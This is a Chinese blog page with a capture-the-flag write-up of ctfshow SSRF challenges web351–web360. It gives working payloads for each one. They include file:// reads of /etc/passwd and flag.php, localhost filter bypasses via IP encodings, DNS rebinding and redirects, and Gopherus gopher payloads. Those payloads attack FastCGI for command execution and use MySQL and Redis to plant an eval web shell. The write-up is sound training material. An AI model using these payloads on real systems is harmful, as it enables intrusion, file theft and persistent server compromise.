[PHP知识库] ctfshow-ssrf

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> PHP知识库 -> ctfshow-ssrf -> 正文阅读

[PHP知识库]ctfshow-ssrf

作者:https://csdnimg.cn/release/blogv2/dist/mdeditor/css/editerView/markdown_views-d7a94ec6ab.css

前言
记录web的题目wp，慢慢变强，铸剑。

没办法数据丢失了，所以没有格式了

SSRF
SSRF(Server-Side Request Forgery: 服务器端请求第二天) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相关而与外部网隔离的内部系统）

web351

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>

没有过滤，基本的ssrf漏洞，抓个包测试一下

用file协议读一下/etc/passwd试试

image-20210818201139151

因为是nginx服务，所以看看能不能读nginx配置文件，发现了fastcgi可以直接用gopher协议打通，还有根目录，试着读一下根目录的源文件，可以直接用file读取flag.php内容

image-20210818201511663

由于是第一个，所以将方法写详细一点 payload-1

file:///var/www/html/flag.php
他说得本地地址，所以可以利用http协议直接拿flag payload2

http://127.0.0.1/flag.php
还记得我们刚刚看的配置文件，127.0.0.1:9000 FastCGI漏洞，我们复现一下拿起Gopherus工具来生成payload，由于我们上面已经得到了有php的目录/var/www/html/index.php，所以可以RCE

image-20210818203141604

通过Gopherus生成payload

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
将输出的内容放到url=后面，然后这里需要再进行一次编码，因为这里curl会进行一次解码，gopher会再进行一次解码，这里直接用burp中的工具

url编码payload

gopher%3a//127.0.0.1%3a9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH58%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253A%2504%2500%253C%253Fphp%2520system%2528%2527whoami%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
成功命令执行

image-20210818203537208

接着利用RCE拿flag

payload

url=gopher%3a//127.0.0.1%3a9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH64%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2540%2504%2500%253C%253Fphp%2520system%2528%2527tac%2520flag.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
image-20210818205452483

web352

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>

就是限制了协议的使用，只能使用http和https，preg_match没有参数，永真，所以并没有过滤什么

url=http://127.0.0.1/flag.php
web353

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>

这回preg_match是直接过滤，这里考虑用进制绕过，实用工具里的ip地址进制转换

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式，还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
缺省形式
url=htpp://127.1/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
web354

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

DNS-重定向攻击绕过可以利用CEYE工具将DNS重新绑定为127.0.0.1但是不巧，我的标识符中都带1所以被过滤了，只能找其他的了，有一个sudo.cc这个是直接重定向到127.0.0.1的，所以可以利用

url=http://sudo.cc/flag.php
web355

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

这次限制了ip地址的长度<=5，但不再过滤字符了。

url=http://127.1/flag.php
web356

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=3)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>

长度限制<=3，直接用0绕过

url=http://0/flag.php
web357

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo ''.$ip.''; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); } echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?>

这题多了个用gethostbyname，将我们访问的主机名对应的ip地址回显并且检验

image-20210819074544932

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

简单的说，就是不能是一些私有地址，如果匹配到了RFC指定私有域地址就会返回FALSE导致无法读取flag，这里面我们就可以利用自己的域名加一个302重定向，可以找一个肉鸡试试

<?php header("Location:http://127.0.0.1/flag.php"); ?>

在主页添加一个dns.php中这段代码

payload

url=http://www.xxx.com/dns.php //xxx是你的域名
第二种方法、如果你没有vps的话，就利用网上自带的DNS重定向DNS-CEYE注册之后

随便设置一个不再私有中的ip地址，然后再绑定一个127.0.0.1来访问本地内网

image-20210819080553394

payload，记得多试几次，因为绑定两个域名会随机绑定一起，我至少试了几十次。

url=http://r.xxx/flag.php //这是获得identity
web358

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); } 必须以http://ctf.开头以show结尾才能输出 @可以让ctf.不回显 <?php $url='http://ctf.@127.0.0.1/flag.php'; var_dump(parse_url($url)); ?>

array(4) {
[“scheme”]=>
string(4) “http”
[“host”]=>
string(9) “127.0.0.1”
[“user”]=>
string(4) “ctf.”
[“path”]=>
string(9) “/flag.php”
}
image-20210819082115102

payload

url=http://ctf.@127.0.0.1/flag.php?show
web359
打开题目是个登陆框，抓包发现登陆会访问check.php，有个returl才传参，存在ssrf，提示说mysql无密码，直接拿Gopherus工具打mysql

C:\Users\23242\Desktop\悬剑武器库\tools\漏洞利用\Gopherus-master>python2 gopherus.py --exploit mysql
[32m

________ .__
/ / ____ ______ | | ___________ __ __ ______
/ \ ___ / _ \_ | | _/ __ _ __ \ | / /
\ _\ ( <> ) |> > Y \ /| | / | /_
____ /_/| /|| /_ >| |// >
/ |__| / / /

            [34mauthor: [33m$_SpyD3r_$

[0m
[31mFor making it work username should not be password protected!!![0m
[96m
Give MySQL username: [0mroot
[96mGive query to execute: [0mselect ‘<?php eval($_REQUEST[1]);?>’ into outfile ‘/var/www/html/shell.php’
[93m
Your gopher link is ready to do SSRF :
[0m
[04mgopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4c%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01[0m

[41m-----------Made-by-SpyD3r-----------[0m
image-20210819083457088

和第一题一样，需要url编码一下最后拿shell

image-20210819083529138

连接蚁剑，拿flag

image-20210819083654558

web360

提示说redis，打redis是可以直接拿shell的，这题通过访问/etc/nginx/nginx.conf发现也可以打fastcgi来命令执行，但是命令执行有点慢，直接redis

利用dict看看6379端口，发现存在redis

image-20210819084633519

C:\Users\23242\Desktop\悬剑武器库\tools\漏洞利用\Gopherus-master>python2 gopherus.py --exploit redis
[32m

________ .__
/ / ____ ______ | | ___________ __ __ ______
/ \ ___ / _ \_ | | _/ __ _ __ \ | / /
\ _\ ( <> ) |> > Y \ /| | / | /_
____ /_/| /|| /_ >| |// >
/ |__| / / /

            [34mauthor: [33m$_SpyD3r_$

[0m
[01m
Ready To get SHELL
[0m
[35mWhat do you want?? (ReverseShell/PHPShell): [0mPHPShell
[96m
Give web root location of server (default is /var/www/html): [0m
[96mGive PHP Payload (We have default PHP Shell): [0m<?php eval($_REQUEST[1]);?>
[93m
Your gopher link is Ready to get PHP Shell:
[0m
[04mgopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_REQUEST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A[0m
[01m
When it’s done you can get PHP Shell in /shell.php at the server with cmd as parmeter. [0m

[41m-----------Made-by-SpyD3r-----------[0m
image-20210819084129821

payload

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
image-20210819084234572

PHP知识库最新文章

Laravel 下实现 Google 2fa 验证

UUCTF WP

DASCTF10月 web

XAMPP任意命令执行提升权限漏洞（CVE-2020-

[GYCTF2020]Easyphp

iwebsec靶场代码执行关卡通关笔记

多个线程同步执行，多个线程依次执行，多个

php 没事记录下常用方法 (TP5.1)

php之jwt

2021-09-18

加:2021-08-23 16:25:23 更:2021-08-23 16:26:29

360图书馆购物三丰科技阅读网日历万年历 2025年1日历

-2025/1/11 15:56:51-

图片自动播放器
↓图片自动播放器↓

TxT小说阅读器
↓语音阅读,小说下载,古典文学↓

一键清除垃圾
↓轻轻一点,清除系统垃圾↓

图片批量下载器
↓批量下载图片,美女图库↓

网站联系: qq:121756557 email:121756557@qq.com IT数码